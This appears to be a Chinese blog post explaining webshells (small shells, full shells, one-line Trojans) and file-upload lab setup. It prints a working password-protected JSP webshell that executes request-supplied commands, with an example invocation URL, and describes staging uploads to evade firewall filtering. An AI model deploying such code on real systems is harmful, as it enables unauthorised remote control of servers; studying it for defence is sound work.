首页 > 系统相关 >webshell总结

webshell总结

时间:2024-06-21 18:59:00浏览次数:27  
标签:webshell 总结 小马 文件 木马 大马 上传 图片

一、webshell概况

1.webshell概念:

经常有客户的网站碰到被上传小马和大马,这里的“马”是木马的意思,可不是真实的马。 通常,攻击者利用文件上传漏洞,上传一个可执行并且能被解析的脚本文件,通过这个脚本来获得服务器端执行命令的能力,也就是我们经常听到的WebShell,而这个脚本文件就是我们常说的大马和小马。 1、都有些什么“马”? 小马 体积小,功能少,优点在于不易被发现,功能单一,常作为上传大马的跳板。 大马 体积大,功能强大,但是易被发现。 一句话木马 在小马和大马之外衍生出的另一种木马,只需短短一行代码,再结合WebShell工具(如菜刀、蚁剑、冰蝎等等)就能做到与大马能力相当的功能(执行命令行、文件上传、文件下载等功能)。

2.小马和一句话木马的区别和联系?

小马(Trojan Horse)是一种通过伪装成合法程序或文件而植入用户设备的恶意软件。一句话木马(One-Liner Trojan)是一种特殊类型的小马,它只包含一行代码,并利用操作系统的功能来执行恶意操作。

  1. 功能:小马通常具有多个功能,可以用于窃取敏感信息、远程控制被感染设备、植入其他恶意软件等。一句话木马的功能较为简单,通常用于远程控制被感染设备,例如执行命令、上传下载文件等。
  2. 传播方式:小马通常通过社交工程手段欺骗用户下载和执行,或者利用漏洞进行自动传播。一句话木马通常通过网络攻击手段,如利用服务器漏洞或钓鱼攻击等方式进行传播。
  3. 隐藏性:小马通常会尽可能隐藏自己的存在,以避免被用户察觉。一句话木马的代码非常短小,使其更容易隐藏在合法的脚本中,从而减少被发现的概率。

尽管小马和一句话木马有些相似之处,但它们的主要区别是一句话木马更注重简洁和高效,而小马则更多样化、功能更丰富。在实践中,一句话木马有时也可以作为一个小马的一部分使用。

3.一句话木马的优缺点

优点:短小精悍,功能强大。

缺点:容易被安全软件检测出来。为了增强隐蔽性,也出现了各种一句话木马的变形。

4.怎样搭建文件上传的靶场?

ps:一些关卡只能通过Windows搭建实现,一些关卡只能通过Linux搭建实现,因此两种搭建方式都需要。

1.windows的直接dvwa和upload-libs

2.linux系统用docker下载

二、一句话木马

1.一句话木马定义

木马,全称特洛伊木马(Trojan Horse)是指寄宿在计算机里的一种非授权的远程控制程序。由于特洛伊木马程序能够在计算机管理员未发觉的情况下开放系统权限、泄漏用户信息、甚至窃取整个计算机管理使用权限,使得它成为了黑客们最为常用的工具之一。

一句话木马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能。一句话木马短小

精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着非常重要的角色。

一句话木马就是小马,由于防火墙拦截的时候是看包里面的内容,比如如果检测到你包里面有system这个关键字,就把你的请求给pass掉了,所以先上传内容简单的小马,获得对方机器的控制权限后再上传大码和不死马。从而扩大控制权限。

三、小马

1.概念

小马和大马都是网页类型中的一种后门,是通过用来控制网站权限的,那最主要的区别就是小马是用来上传大马的。通过小马上传大马,这时候有个疑问了,那不是多此一举了,为什么要用小马来上传大马,而干嘛不直接上传大马用好了。其实这里是因为小马体积小,有比大马更强的隐蔽优势,而且有针对文件大小上传限制的漏洞,所以才有小马,小马也通常用来做留备用后门等。

2.网页小马概念:

小马体积非常小,只有2KB那么大,隐蔽性也非常的好,因为小马的作用很简单,就是一个上传功能,就没有其它的了,它的作用仅仅是用来上传文件,所以也能过一些安全扫描。小马是为了方便上传大马的,因为很多漏洞做了上传限制,大马上传不了,所以就只能先上传小马,再接着通过小马上传大马了。小马还可以通过与图片合成一起通过IIS漏洞来运行。

Java语言编写的后台咱们使用JSP木马,与前面的一句话木马不同,菜刀中JSP木马较长,以下是一个简单的JSP小马:

<%
    if("123".equals(request.getParameter("pwd"))){ 
   
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){ 
   
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

成功上传后如果能解析的话,请求:http://服务器IP:端口/Shell/cmd.jsp?pwd=123&i=ipconfig 即可执行命令。

四、网页大马:

1.概念

大马的体积就比较大了,通常在50K左右,比小马会大好多倍,但对应的功能也很强大,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都非常强大。这种大马一旦网站被种了,网站基本就在这个大马控制之中。大马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。

中国菜刀的一句话不算,菜刀一句话通过客户端来操作也非常强大,一句话的代码可以和大马实现的一样。我们这里说的小马和大马是指网页类型中的,小马就是为了配合上传大马的,这是它最主要的作用,还有就是小马可以当做备用的后门来使用,一般大马容易被发现,而小马则更容易隐藏在系统的文件夹中。

2.使用

来看看一个大马利用实例:在虚拟机中往DVWA上传PHP大马(源码附在最后):

访问木马文件123.php,提交密码123456后进入大马的功能列表,下图所示为文件管理功能:

继续访问下命令执行功能(其他功能不展示了):

大马:

webshell,总结,小马,文件,木马,大马,上传,图片
From: https://blog.csdn.net/a770067334/article/details/139867979

相关文章

  • JAVA每日总结day6.21
    ok了家人们,今天我们学习了面向对象中关键字的使用和抽象类,话不多说,我们一起看看吧,(今天终于星期五了,芜湖!!!)一,this和super关键字1,this关键字的三种用法1.1this的意义 this:表示当前对象this可以访问:本类的成员属性、成员方法、构造方法;1.2 this.成员变量(第一种)......
  • 【计算机网络】第四章.网络层 网络层重点知识总结(2)
    ......
  • C/C++ 缓冲区溢出问题总结
    缓冲区溢出(BufferOverflow)是一种常见的安全漏洞,它发生在当程序试图将更多的数据放入一个固定大小的内存区域(即缓冲区)时,超过了该区域所能容纳的数据量。这可能导致未定义的行为,包括数据损坏、程序崩溃,甚至更糟糕的是,攻击者可以利用这种漏洞执行恶意代码。一、缓冲区溢出概述缓冲......
  • 大模型技术及趋势总结
    本篇文章旨在希望大家对大模型的本质、技术和发展趋势有简单的了解。由于近期大模型技术发展很快,这里对大模型的技术、本质及未来趋势进行总结和探讨时,因为水平有限,疏漏在所难免。请大家谅解。引言大模型将成为通用人工智能的重要途径。在这个由0和1编织的数字时代,人工智能的腾......
  • 游泳耳机戴久了对人体有危害吗?6大精心总结游泳耳机选购策略!
    随着科技的发展,游泳爱好者们如今能够享受到一边畅游池畔,一边聆听音乐带来的乐趣。然而,长时间佩戴游泳耳机并非无条件的好事,它可能对我们的听力健康产生影响。在享受水下世界的动感旋律的同时,我们有必要了解游泳耳机的潜在危害,并掌握科学的选购策略。(上图为之前测试过的部分......
  • C++入门(万字总结,建议收藏!!!)
    一、前言1.1什么是C++C语言是结构化和模块化的语言,适合处理较小规模的程序。对于复杂的问题,规模较大的程序,需要高度的抽象和建模时,C语言则不合适。为了解决软件危机,20世纪80年代,计算机界提出了OOP(objectorientedprogramming:面向对象)思想,支持面向对象的程序设计语言应运......
  • PTA题目集7~8总结性Blog
    (1)前言题目集7,8主要涉及以下知识点,Java是一种面向对象的编程语言,需要理解类和对象的概念,如何设计和实现各种设备的类。设计控制设备类和受控设备类,理解如何通过类和对象来模拟真实世界中的设备和其行为。通过继承和多态实现设备之间的关系和行为的多样化。例如,可以将不同类型的......
  • Effective Java 学习总结
    前言EffectiveJava作为Java四大名著之一,聚焦于Java语言习惯和高效的用法。EJ告诉读者如何更好地构建代码,以便代码能够更好地工作;也便于其他人能够理解这些代码,便于修改和改善;程序也会因此变得更加令人愉快,更加优雅。全书共90条,接下来笔者将逐条进行总结。第1条:用......
  • JVM:不同垃圾收集算法和垃圾收集器 优缺点总结
     如何判断对象是否为垃圾:引用计数法:对象是否被引用,无法解决对象循环引用导致的问题可达性分析:也叫根搜索法 垃圾收集算法1、标记-清除(Mark-Sweep)示意图深蓝色:有引用深灰色:没引用白色:待分配回收前:对整个引用空间不连续的堆对象遍历回收后:引用的对象空间不变,清除:对全......
  • 寒假训练总结
    2023.1.19T3题目大意给定一棵树,边有黑白两种颜色,初始边都是黑色有两种操作将u到v路径上的边颜色反转询问u只经过黑边能走到几个点solution可以想一下链的部分分,用线段树维护边的颜色,然后在线段树上二分(或者二分套线段树)来找到点u经过黑边走到的区间拓展到树上,考虑树链......